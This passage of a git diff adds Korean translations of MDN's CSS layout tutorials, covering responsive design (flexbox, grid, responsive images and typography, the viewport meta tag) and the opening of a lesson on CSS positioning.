+<p><strong>주석</strong>: 여러분은 여기서 <a href="https://mdn.github.io/css-examples/learn/rwd/float-based-rwd.html">실례</a>를 찾아볼 수 있으며, 이 예제에 대한 <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/float-based-rwd.html">소스 코드</a>를 깃허브에서 찾을 수 있습니다.</p>
+</div>
+
+<h2 id="현대_조판_기술">현대 조판 기술</h2>
+
+<p><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 조판</a>과 <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">가변상자</a>와 <a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">격자</a>와 같은 현대 조판 메서드는 기본값으로 응답형입니다. 그것들은 모두 여러분이 가변 격자를 만들려 한다고 가정하고 그렇게 동작하도록 편리한 방법을 제공합니다.</p>
+
+<h3 id="다단">다단</h3>
+
+<p>이러한 조판 메서드 중 가장 오래된 것은 다단입니다. 여러분이 <code>column-count</code>를 지정하면, 이는 여러분이 콘텐츠를 나누고자 하는 단의 숫자를 나타냅니다. 그런 다음 브라우저는 다단의 크기를 화면 크기에 따라 변경되는 크기로 계산합니다.</p>
+
+<pre class="brush: css"><code>.container {
+  column-count: 3;
+} </code>
+</pre>
+
+<p><code>column-width</code>을 지정하는 대신 <em>minimum</em> 너비를 지정하는 것입니다. 브라우저는 컨테이너에 안착할 수 있는 만큼으로 지정한 해당 너비를 가진 열을 최대한 많이 생성하고 난 뒤에 다음 모든 열 사이에서 나머지 공간을 공유합니다. 따라서 열의 수는 공간이 얼마나 되는지에 따라 달라집니다.</p>
+
+<pre class="brush: css"><code>.container {
+  column-width: 10em;
+} </code>
+</pre>
+
+<h3 id="가변상자">가변상자</h3>
+
+<p>가변상자에서 가변 항목은 초깃값 동작으로 컨테이너의 공간에 따라 항목 사이의 공간을 축소하고 분배합니다. <code>flex-grow</code> 및 <code>flex-shrink</code> 값을 변경하면 해당 항목에 주어진 주변 공간이 남거나 모질라게 될 경우 원하는 동작 방식을 표기할 수 있습니다.</p>
+
+<p>아래 예제에서 가변 항목은 가변 컨테이너 안에서 각각 동일한 양의 공간을 차지하며, <a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox#가변_항목의_가변_크기_조정">가변상자: 가변 항목의 가변 크기 조정</a>에서 설명했듯이 <code>flex: 1</code>식의 약칭을 사용할 수 있습니다.</p>
+
+<pre class="brush: css"><code>.container {
+  display: flex;
+}
+
+.item {
+  flex: 1;
+} </code>
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 예제로써 상기된 간단한 반응형 조판을 재구축했는데 이번에는 가변상자를 사용했습니다. 여러분은 더 이상 낮설은 백분율 값을 사용하여 열의 크기를 계산할 필요가 없는 방법을 보게 됩니다: <a href="https://mdn.github.io/css-examples/learn/rwd/flex-based-rwd.html">예제</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/flex-based-rwd.html">소스 코드</a>.</p>
+</div>
+
+<h3 id="씨에스에스_격자">씨에스에스 격자</h3>
+
+<p>씨에스에스 격자 조판에서 <code>fr</code> 단위는 격자 트랙 전역에 걸쳐 이용할 수 있는 공간을 분배할 수 있습니다. 다음 예에서는 <code>1fr</code> 크기의 트랙 3개가 있는 격자 컨테이너를 만듭니다. 이렇게 하면 3개의 열 트랙이 생성되며, 각 트랙은 컨테이너에 있는 사용 가능한 공간\의 한 부분을 차지합니다. 여러분은 <a href="ko/docs/Learn/CSS/CSS_layout/Grids#fr_단위를_포함하는_가변_격자">fr 단위를 포함한 가변 격자</a>라는 격자 조판 학습 주제에서 격자를 생성하는 이같은 접근 방식에 대해 자세히 알 수 있습니다.</p>
+
+<pre class="brush: css"><code>.container {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+} </code>
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 격자 조판 버전은 .wrapper <a href="https://mdn.github.io/css-examples/learn/rwd/grid-based-rwd.html">예제</a>상에 열을 정의할 수 있으므로 더 간단합니다: <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/grid-based-rwd.html">소스 코드</a>.</p>
+</div>
+
+<h2 id="반응형_이미지">반응형 이미지</h2>
+
+<p>반응 이미지에 대한 가장 간단한 접근법은 반응형 디자인에 관한 마르코트의 초창기 문서에서 설명한 바와 같습니다. 기본적으로 필요한 최대 크기의 이미지를 촬영하여 그것을 축소할 수 있습니다. 이것은 오늘날에도 사용되는 접근법이며 대부분의 스타일 시트에서 다음과 같은 씨에스에스를 어디선가는 발견할 수 있습니다.</p>
+
+<pre class="brush: css"><code>img {
+  max-width: 100%:
+} </code>
+</pre>
+
+<p>이 접근법에는 명백한 단점이 있습니다. 해당 이미지는 고유 크기보다 훨씬 작게 표시될 수 있어 대역폭 낭비입니다. 다시말해 모바일 사용자는 브라우저 창에서 실제로 보는 것의 몇 배 크기의 이미지를 다운로드하게 되니 낭비입니다. 또한, 데스크톱과 같은 이미지 가로 세로 비율을 모바일에서 원하지 않을 수도 있습니다. 예를 들어, 모바일의 경우 정사각형 이미지가 좋을 수 있지만 데스크톱상에는 같은 이미지를 가로 보기처럼 장면을 보여줍니다. 또는 모바일 상의 이미지의 크기가 작다는 것을 이해하면서도 서로 다른 이미지를 모두 보여주고 싶을 경우가 있습니다. 말하자면 작은 화면 크기에서 더 쉽게 해석될 수 있는 이미지를 말합니다. 이런 것들은 단순히 이미지를 축소해서는 달성할 수 없습니다.</p>
+
+<p>반응형 이미지는 <code><a href="/en-US/docs/Web/HTML/Element/picture">&lt;picture&gt;</a></code> 요소와 <code><a href="/en-US/docs/Web/HTML/Element/img">&lt;img&gt;</a></code>, <code>srcset</code>과 <code>sizes</code> 속성은 이러한 문제를 모두 해결합니다. 여러분은 "힌트"(이미지에 가장 적합한 화면 크기와 해상도를 설명하는 메타 데이터)와 함께 여러 크기를 제공할 수 있으며, 브라우저는 각 장치에 가장 적합한 이미지를 선택하며, 사용자가 사용하고 있는 장치에 적합한 이미지 크기를 다운로드할 수 있도록 담보합니다.</p>
+
+<p>또한 다른 화면 크기에서 사용되는 이미지를 <em>art direct</em>할 수 있으므로 서로 다른 화면 크기에 대해 서로 다른 자르기 또는 완전히 다른 이미지를 제공할 수 있습니다.</p>
+
+<p>이곳 MDN 사이트의 에이치티엠엘 학습 섹션에서 <a href="/ko/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">반응형 이미지</a>에 대한 자세한 안내서를 찾을 수 있습니다.</p>
+
+<h2 id="반응형_타이포그래피">반응형 타이포그래피</h2>
+
+<p>반응형 타이포그래피 개념은 이전 작업에서 다루지 않은 반응형 디자인의 요소입니다. 본질적으로, 이것은 화면 부동산의 크기가 더 작아지거나 더 커지거나하는 것을 반영하기 위해 미디어 쿼리 구문 안에서 폰트 크기를 변경하는 것을 말합니다.</p>
+
+<p>이 예제에서 우리는 수준 1 머리글을 <code>4rem</code>로 설정하려고 합니다. 즉, 기본 글꼴 크기의 4배입니다. 정말 큰 제목이네요! 우리는 더 큰 화면 크기상에서만 이 코끼리만한 머리글을 원하기 때문에, 우리는 먼저 더 작은 머리글을 만들고, 미디어 쿼리를 사용해 조건에 맞으면 그것을 더 큰 크기로 덮어쓰기 하면됩니다. 여기서 조건은 사용자가 적어도 1200px의 화면 크기의 기기를 가진 경우가 해당됩니다.</p>
+
+<pre class="brush: css"><code>html {
+  font-size: 1em;
+}
+
+h1 {
+  font-size: 2rem;
+}
+
+@media (min-width: 1200px) {
+  h1 {
+    font-size: 4rem;
+  }
+} </code>
+</pre>
+
+<p>상기한 반응형 격자 예제를 편집했고, 거기에 더해 이미 제시된 메서드를 사용하는 응답형 유형을 포함시켰습니다. 조판이 2개의 열 버전으로 이동함에 따라 머리글 크기가 어떻게 전환하는지 볼 수 있습니다.</p>
+
+<p>모바일에서는 머리글이 더 작다:</p>
+
+<figure><img alt="머리글 크기가 작은 스택 모양의 조판입니다." src="https://mdn.mozillademos.org/files/16838/mdn-rwd-font-mobile.png" style="display: block; height: 407px; width: 300px;">
+<p>On desktop however we see the larger heading size:</p>
+
+<figcaption></figcaption>
+</figure>
+
+<figure><img alt="큰 머리글이 딸린 두개의 열 조판입니다." src="https://mdn.mozillademos.org/files/16839/mdn-rwd-font-desktop.png" style="display: block; height: 169px; width: 600px;">
+<figcaption></figcaption>
+</figure>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 이 예제의 실제 구현 장면: <a href="https://mdn.github.io/css-examples/learn/rwd/type-rwd.html">예제</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/type-rwd.html">소스 코드</a>.</p>
+</div>
+
+<p>타이포그래피에 대한 이러한 접근 방식이 보여주듯이, 미디어 쿼리를 제한하여 페이지 조판만 변경할 필요는 없습니다. 그들 접근법을 사용하여 어떤 요소라도 조정해서 대체 화면 크기에 맞는 더 유용하고 매력적인 요소를 만들 수 있다.</p>
+
+<h3 id="반응형_타이포그래피에_대한_뷰포트_단위_사용하기">반응형 타이포그래피에 대한 뷰포트 단위 사용하기</h3>
+
+<p>흥미로운 접근 방식은 반응형 타이포그래피를 사용하기 위해 뷰포트 단위 <code>vw</code>를 사용할 수 있다는 점이다. <code>1vw</code>는 뷰포트 너비의 1%와 동일하며, <code>vw</code>를 사용하여 글꼴 크기를 설정하면 항상 뷰포트 크기와 관련이 있다는 것을 의미한다.</p>
+
+<pre class="brush: css">h1 {
+  font-size: 6vw;
+}</pre>
+
+<p>위의 작업 수행에서의 문제는 사용자가 vw 단위를 사용하여 텍스트 집합을 확대/축소하는 기능을 상실하는 데 있다. <strong>따라서 여러분은 뷰포트 단위만으로 텍스트를 설정해서는 안 된다</strong>.</p>
+
+<p>해결책이 하나 있다. <code><a href="/en-US/docs/Web/CSS/calc">calc()</a></code>를 사용하는 것이다. 즉, <code>em</code>와 같은 고정된 크기를 사용하여 속성값 집합에 <code>vw</code> 단위를 추가하면 텍스트는 여전히 확대/축소할 수 있다. 본질적으로 <code>vw</code> 단위는 확대/축소 값에 더해 추가된다.</p>
+
+<pre class="brush: css">h1 {
+  font-size: calc(1.5rem + 3vw);
+}</pre>
+
+<p>즉, 머리글에 대한 폰트 크기를 한 번만 지정하면 된다. 크기를 모바일용으로 따로 설정할 게 아니라 미디어 쿼리 내에서 크기를 재정의한다는 말이다. 그러면 뷰포트의 크기가 커질수록 글꼴은 점차 커진다.</p>
+
+<div class="blockIndicator note">
+<p>이에 대한 예제의 실현: <a href="https://mdn.github.io/css-examples/learn/rwd/type-vw.html">예제</a>, <a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/type-vw.html">소스 코드</a>.</p>
+</div>
+
+<h2 id="뷰포트_메타_테그">뷰포트 메타 테그</h2>
+
+<p>응답형 페이지의 에이치티엠엘 소스를 보면 일반적으로 문서의 <code>&lt;head&gt;</code>에서 다음과 같은 {{htmlelement("meta")}} 태그를 볼 수 있다.</p>
+
+<pre class="brush: html"><code>&lt;meta name="viewport" content="width=device-width,initial-scale=1"&gt;</code>
+</pre>
+
+<p>이 메타 태그는 뷰포트의 너비를 장치의 너비로 설정하여 문서를 의도한 크기의 100%로 확장해야 한다고 모바일 브라우저에게 알려줍니다. 이로써 여러분이 의도한 대로 모바일에 최적화된 크기로 문서를 표시합니다.</p>
+
+<p>왜 이런 것이 필요할까요? 모바일 브라우저는 뷰포트 너비에 대해 거짓말을 하는 경향이 있기 때문이다.</p>
+
+<p>이 메타 태그는 원래 iPhone이 출시되고 사람들이 작은 전화 화면에서 웹 사이트를 보기 시작했을 때 대부분의 사이트가 모바일 최적화되지 않았기 때문에 존재합니다. 따라서 모바일 브라우저는 뷰포트 너비를 960픽셀로 설정하게 됩니다. 해당 너비로 페이지를 렌더링하고, 그 결과를 데스크톱 조판의 확대 버전으로 표시합니다. 다른 모바일 브라우저(예를 들어 구글 안드로이드)도 똑같은 일을 합니다. 사용자들은 웹사이트를 확대하고 이리저리 끌어 옮기며(panning) 그들이 관심을 갖는 부분을 볼 수 있었지만, 모양이 형편 없었습니다. 만약 여러분이 반응형 디자인이 아닌 사이트를 우연히 발견하게 된다면, 여러분은 오늘날에도 이런 걸 보게 될 것입니다.</p>
+
+<p>문제는 분기점과 미디어 쿼리를 포함하는 응답형 디자인이 모바일 브라우저에서 의도한 대로 작동하지 않는다는 점에 있습니다. 여러분이 480px 뷰포트 너비나 그 이하에서 시작하는 좁은 화면 조판을 갖고 있고 뷰포트가 960px로 설정되어 있다면 좁은 화면 조판을 모바일에서 절대 볼 수 없게 된다. <code>width=device-width</code>를 설정하면 애플의 기본값인 <code>width=960px</code>를 장치의 실재 너비로 재지정하므로 당신의 미디어 쿼리가 의도한 대로 작동합니다.</p>
+
+<p>따라서 에이치티엠엘 문서의 헤더 부분에 상기 에이치티엠엘 라인을 <em>항상</em> 포함해야 합니다.</p>
+
+<p>뷰포트 메타 태그와 함께 사용할 수 있는 다른 설정이 있지만 일반적으로 상기 에이치티엠엘 라인이면 여러분이 사용하고자 하는 내용에 해당합니다.</p>
+
+<ul>
+ <li><code>initial-scale</code>: 페이지의 초기 확대/축소 지정은 1로 설정된다.</li>
+ <li><code>height</code>: 뷰포트 높이를 특정값으로 지정합니다.</li>
+ <li><code>minimum-scale</code>: 최소 확대/축소 수준을 설정합니다.</li>
+ <li><code>maximum-scale</code>: 최대 확대/축소 수준을 설정합니다.</li>
+ <li><code>user-scalable</code>: <code>no</code>값을 지정하게 되면 확대/축소를 방지합니다.</li>
+</ul>
+
+<p>여러분은 <code>minimum-scale</code>와 <code>maximum-scale</code> 사용을 피해야하며, 특히 <code>user-scalable</code>를 <code>no</code>로 설정하는 것도 피해야 합니다. 사용자는 필요한 만큼 확대하거나 축소할 수 있어야 합니다.이를 방지하면 접근성 문제가 발생합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 뷰포트 메타 태그를 대체하기 위해 고안된 씨에스에스 @ 규칙이 있습니다. <a href="/ko/docs/Web/CSS/@viewport">@viewport</a> 그러나 브라우저 지원이 매우 형편없습니다. 그것은 인터넷 익스플로러와 에지에서 구현되었지만, 일단 크롬 기반 에지가 출시되면 더 이상 에지 브라우저의 일부가 되지 않게 됩니다.</p>
+</div>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>반응형 디자인은 디자인이 보여지는 당해 환경에서 반응하는 사이트 및 애플리케이션 디자인을 말합니다. 그것은 많은 씨에스에스와 에이치티엠엘 기능과 기술을 망라하며 이제 기본값으로 우리가 웹사이트를 구축할 때 필수적인 방법입니다. 여러분이 휴대폰으로 방문하는 사이트를 생각해보세요. 데스크톱 버전이 축소된 사이트, 또는 사물을 찾기 위해 옆으로 스크롤해야 하는 사이트를 우연히 발견한다는 것은 상당히 이례적인 일일 것입니다. 그렇게 된 것은 웹이 반응형으로 디자인하는 접근방식으로 옮겨갔기 때문입니다.</p>
+
+<p>또한 이번 단원에서 배운 조판 메서드의 도움으로 반응형 디자인을 달성하기가 훨씬 쉬워졌습니다. 여러분이 당대 웹 개발에 신출내기라면, 반응형 디자인 초창기보다 훨씬 많은 도구가 마련되어 있으니 맘껏 이용하십시요. 따라서 당신이 참조하고 있는 어떤 자료의 연혁을 확인할 가치가 있습니다. 역사적 기록 문서로서 여전히 유용하지만, 사이트 방문자가 이용하는 장치가 무엇이건 관계없이 우아하고 유용한 디자인을 훨씬 쉽게 생성하려면 씨에스에스와 에이치티엠엘의 현대적 용법이 정답입니다.</p>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="이번_단위에는">이번 단위에는</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">씨에스에스 조판 소개</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">일반 대열</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">가변상자</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">격자</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Floats">부동체</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/위치잡기">위치잡기</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 조판</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/반응형_디자인">반응형 디자인</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서">미디어 쿼리 초보자 안내서</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/레거시_조판_메서드">레거시 조판 메서드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9D%B4%EC%A0%84_%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80_%EC%A7%80%EC%9B%90">이전 브라우저 지원</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">조판 이해도 필수 평가</a></li>
+</ul>
diff --git a/files/ko/learn/css/css_layout/위치잡기/index.html b/files/ko/learn/css/css_layout/위치잡기/index.html
new file mode 100644
index 0000000000..76a491ae0e
--- /dev/null
+++ b/files/ko/learn/css/css_layout/위치잡기/index.html
@@ -0,0 +1,585 @@
+---
+title: 위치잡기
+slug: Learn/CSS/CSS_layout/위치잡기
+tags:
+  - 고정
+  - 글
+  - 상대
+  - 씨에스에스
+  - 안내서
+  - 위치잡기
+  - 절대
+  - 조판
+  - 초보자
+  - 코딩스크립팅
+translation_of: Learn/CSS/CSS_layout/Positioning
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout")}}</div>
+
+<p class="summary">당신이 일반 문서 조판 대열에서 요소를 끄집어 내어, 그것이 다르게 행동하게 만들수 있게 해주는 것이 위치잡기다. 예를 들어 상대 요소 위에 놓거나 브라우저 뷰 포트 내부의 동일한 위치를 항상 유지하게 해준다. 이 문서는 서로 다른 {{cssxref("position")}} 값을 설명하고, 그 걸 사용하는 방법에 대해서도 설명한다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결 사항:</th>
+   <td>에이치티엠엘의 기초 (<a href="/ko/docs/Learn/HTML/Introduction_to_HTML">에이치티엠엘 입문서</a>)와 씨에스에스 작동 방식에 대한 개념(<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">씨에스에스 입문서</a>를 공부하세요.)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>씨에스에스 위치잡기가 작동하는 방법 배우기</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>가능하면 우리 깃허브 저장소에 있는 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/0_basic-flow.html">0_basic-flow.html</a></code> 파일의 사본을 가지고 당신의 컴퓨터상에서 해당 연습을 함께 따라해보시길 바랍니다. (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/0_basic-flow.html">여기 소스 코드</a>)가 있으니 그걸 착수 파일로 이용하십시요.</p>
+
+<h2 id="위치잡기_소개">위치잡기 소개</h2>
+
+<p>크게봐서 위치잡기의 개념은 위에서 설명했듯 기본 문서 대열에 따른 동작을 무시하고 흥미로운 효과를 낼 수 있도록 하는 것입니다. 조판 내부의 일부 상자의 위치를 기본 조판 대열 위치에서 약간 변경한다거나, 약간 기묘하거나, 편치않은 느낌을 주고 싶다면 어떨까? 위치잡기가 바로 당신의 도구입니다. 또는 페이지의 다른 부분의 상위에 부동(浮動)하는 사용자 인터페이스 요소를 만들고 싶다라거나 아울러 페이지가 스크롤된 정도와 상관없이 항상 브라우저 창 내부의 동일한 위치에 놓이게 하고 싶다면? 위치잡기는 그런 조판 작업을 가능하게 합니다.</p>
+
+<p>에이치티엠엘 요소에 적용될 수 있는 여러 가지 유형의 위치잡기가 존재합니다. 어떤 요소상에 특정 유형의 위치잡기가 활성화되도록 하기 위해 {{cssxref("position")}} 속성을 사용합니다.</p>
+
+<h3 id="정적_위치잡기">정적 위치잡기</h3>
+
+<p>정적 위치잡기는 모든 요소에 주어지는 기본값입니다. 즉, "요소를 문서 조판 대열상에 일반 위치에 배치하라는 것으로 여기서 특별한 것은 없습니다."</p>
+
+<p>이를 입증한다거나, 이어질 섹션에서 다룰 예제를 설정하려면 먼저 에이치티엠엘상에 두 번째 {{htmlelement("p")}} 요소에 <code>positioned</code>라는 클래스를 추가하십시오:</p>
+
+<pre class="brush: html">&lt;p class="positioned"&gt; ... &lt;/p&gt;</pre>
+
+<p>이제 다음과 같은 규칙을 당신의 씨에스에스 하단에 추가하십시요:</p>
+
+<pre class="brush: css">.positioned {
+  position: static;
+  background: yellow;
+}</pre>
+
+<p>이제 저장하고 새로고침하면 두 번째 단락의 배경 색깔이 업데이트된 것을 제외하고 다른 차이가 없다는 것이 확인될 것입니다. 아무 문제없습니다. 앞에서 얘기했듯이 정적 위치잡기는 기본값으로 주어진 동작입니다!</p>
+
+<div class="note">
+<p><strong>주석</strong>: 이 시점에 예제의 실제 구현 장면을 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/1_static-positioning.html">1_static-positioning.html</a></code>에서 볼 수 있습니다.(<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/1_static-positioning.html">소스 코드는 여기서 보세요</a>).</p>
+</div>
+
+<h3 id="상대_위치잡기">상대 위치잡기</h3>
+
+<p>상대 위치잡기는 우리가 살펴 첫 번째 위치 유형입니다. 이것은 정적 위치 결정과 매우 유사합니다. 단, 일단 정상 조판 대열상에 위치잡기할 요소가 자리를 잡고나면 페이지의 다른 요소와 중첩되는 것을 포함하여 최종 위치를 수정할 수 있습니다. 당신의 코드에 있는 <code>position</code> 선언을 업데이트하십시요.</p>
+
+<pre class="brush: css">position: relative;</pre>
+
+<p>현 시점에서 저장하고 새로 고침하면 전혀 변경된 결과가 확인되지 않습니다. 그럼 요소의 위치를 어떻게 수정할까요? 다음 절에서 설명하겠지만, {{cssxref("top")}}, {{cssxref("bottom")}}과 {{cssxref("left")}}, {{cssxref("right")}}을 사용해야 합니다.</p>
+
+<h3 id="상하_좌우_위치잡기_소개">상하 좌우 위치잡기 소개</h3>
+
+<p>{{cssxref("top")}}, {{cssxref("bottom")}}와 {{cssxref("left")}}, and {{cssxref("right")}}는 {{cssxref("position")}}과 나란히 사용되어 기준 위치에 비례해 정확한 위치잡기를 지정한다. 이를 시험하려면 다음 선언문을 씨에스에스 <code>.positioned</code> 규칙에 추가하십시오:</p>
+
+<pre>top: 30px;
+left: 30px;</pre>
+
+<div class="note">
+<p><strong>참고</strong>: 이러한 속성의 값은 당신이 논리적으로 예상할 수 있는 모든 <a href="/ko/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">단위</a>를 취할 수 있습니다. 예로 pixels, mm, rems, % 등이 해당한다.</p>
+</div>
+
+<p>이제 저장하고 새로고침하면 다음과 같은 내용의 결과를 얻을 것입니다:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;상대 위치잡기&lt;/h1&gt;
+
+&lt;p&gt;나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.&lt;/p&gt;
+
+&lt;p class="positioned"&gt;기본적으로 우리는 부모 요소의 너비 100%에 걸쳐 있습니다. 우리의 총 너비와 총 높이는 우리의 콘텐츠 + 패딩 + 테두리 너비 및 높이입니다.&lt;/p&gt;
+
+&lt;p&gt;우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.&lt;/p&gt;
+
+&lt;p&gt;인라인 요소 &lt;span&gt;이 것과 같은&lt;/span&gt; 그리고 &lt;span&gt;이것이&lt;/span&gt; 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 대열이탈할 경우 &lt;span&gt;(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)&lt;/span&gt;, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+.positioned {
+  position: relative;
+  background: yellow;
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('상하_좌우_위치잡기_소개', '100%', 500) }}</p>
+
+<p>근사하죠, 그쵸? 좋습니다. 그러나 이것은 아마도 여러분이 기대했던 것이 아니었을 것입니다. 우리가 좌측 상단을 지정했는데 왜 우측 하단으로 이동했을까요? 처음에는 비논리적으로 들릴지 모르지만, 이것은 상대적 위치잡기가 작용하는 방식일 뿐입니다. 즉, 위치가 지정된 상자의 특정 측면을 밀어서 반대 방향으로 움직이는 보이지 않는 힘이 있다고 생각할 필요가 있습니다. 예를 들어, <code>top: 30px;</code>를 지정하면 힘은 상자 상단을 밀어서 30px 아래로 이동하게 만듭니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 이 시점에 예제의 실제 구현 장면을 <code><a href="http://mdn.github.io/learning-area/css/css-layout/positioning/2_relative-positioning.html">2_relative-positioning.html</a></code>에서 확인할 수 있습니다(<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/positioning/2_relative-positioning.html">소스 코드 보기</a>).</p>
+</div>
+
+<h3 id="절대_위치잡기">절대 위치잡기</h3>
+
+<p>절대적인 위치 결정은 매우 다른 결과를 가져옵니다. 당신의 소스 코드에 다음과 같이 위치 선언을 변경해 보겠습니다.</p>
+
+<pre>position: absolute;</pre>
+
+<p>지금 저장한 다음에 새로고침하면 다음과 같은 것이 확인되어야 합니다:</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;h1&gt;절대 위치잡기&lt;/h1&gt;
+
+&lt;p&gt;나는 기본 볼록 수준 요소입니다. 나와 인접한 블록 수준 요소는 내 아래 새 줄에 자리합니다.&lt;/p&gt;
+
+&lt;p class="positioned"&gt;기본적으로 우리는 부모 요소의 너비 100%에 걸쳐 있습니다. 우리의 총 너비와 총 높이는 우리의 콘텐츠 + 패딩 + 테두리 너비 및 높이입니다.&lt;/p&gt;
+
+&lt;p&gt;우리는 여백으로 구분됩니다. 여백 축소로 때문에 우리의 여백 중의 하나의 너비로 구분됩니다. 두게의 여백이 아니라.&lt;/p&gt;
+
+&lt;p&gt;인라인 요소 &lt;span&gt;이 것과 같은&lt;/span&gt; 그리고 &lt;span&gt;이것이&lt;/span&gt; 차례로 같은 라인에, 그리고 같은 라인에 공간이 있을 경우 인접한 텍스트 노드에 자리를 잡게 됩니다. 인라인 요소가 대열이탈할 경우 &lt;span&gt;(이 경우와 같이 텍스트를 포함했을 경우) 가능하면 새 줄로 접혀들어갑니다.)&lt;/span&gt;, 그렇지 않으면 새로운 라인으로 계속 진행할 것입니다. 이 이미지가 하는 것처럼: &lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+.positioned {
+  position: absolute;
+  background: yellow;
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('절대_위치잡기', '100%', 420) }}</p>
+
+<p>우선, 위치잡기 요소가 원래 있었어야 했던 문서 대열 속 위치에 있던 간격은 더 이상 존재하지 않는다는 점에 유의하십시오. 즉 간격이 더 이상 존재하지 않는 것처럼 첫 번째와 세 번째 요소가 붙어 버렸습니다! 어떤 면에서는, 이것은 사실입니다. 절대적으로 위치한 요소는 더 이상 일반 문서 조판 대열에서 존재하지 않습니다. 대신 다른 모든 것과는 별개로 독자적인 레이어상에 놓여 있습니다. 이것은 매우 유용합니다. 즉, 페이지의 다른 요소의 위치와 간섭하지 않는 격리된 사용자 인터페이스 기능을 만들 수 있습니다. 예를 들어 팝업 정보 상자 및 제어 메뉴, 롤오버 패널, 페이지 어느 곳에서나 끌어서 놓기할 수 있는 유저 인터페이스 페이지 등등…</p>
+
+<p>둘째, 요소의 위치가 변경되었음을 알아차립시다. 이는 {{cssxref("top")}}, {{cssxref("bottom")}}과 {{cssxref("left")}}, {{cssxref("right")}}가 절대 위치잡기에 해당해 다른 방식으로 작동하기 때문입니다. 요소가 진입해야 하는 방향을 지정하기 보다는 요소가 (부모) 콘테이너 요소의 상하좌우 측면으로부터 떨어지는 간격을 지정되어야 합니다. 따라서 이 경우, 내 말은 절대 위치잡기 요소는 "콘테이너 요소"의 상단에서 30px, 왼쪽에서 30px에 위치에 놓여야 한다는 말입니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: 당신이 필요하다면 요소의 크기를 재지정하기 위해 {{cssxref("top")}}, {{cssxref("bottom")}}과 {{cssxref("left")}}, {{cssxref("right")}}를 사용할 수 있습니다. 당신이 위치잡기한 요소에 <code>top: 0; bottom: 0; left: 0; right: 0;</code>과 <code>margin: 0;</code>를 지정한 뒤 어떻게 되냐 보십시요! 해보고 다시 원상태로 돌리십시요...</p>
+</div>
+
+<div class="note">
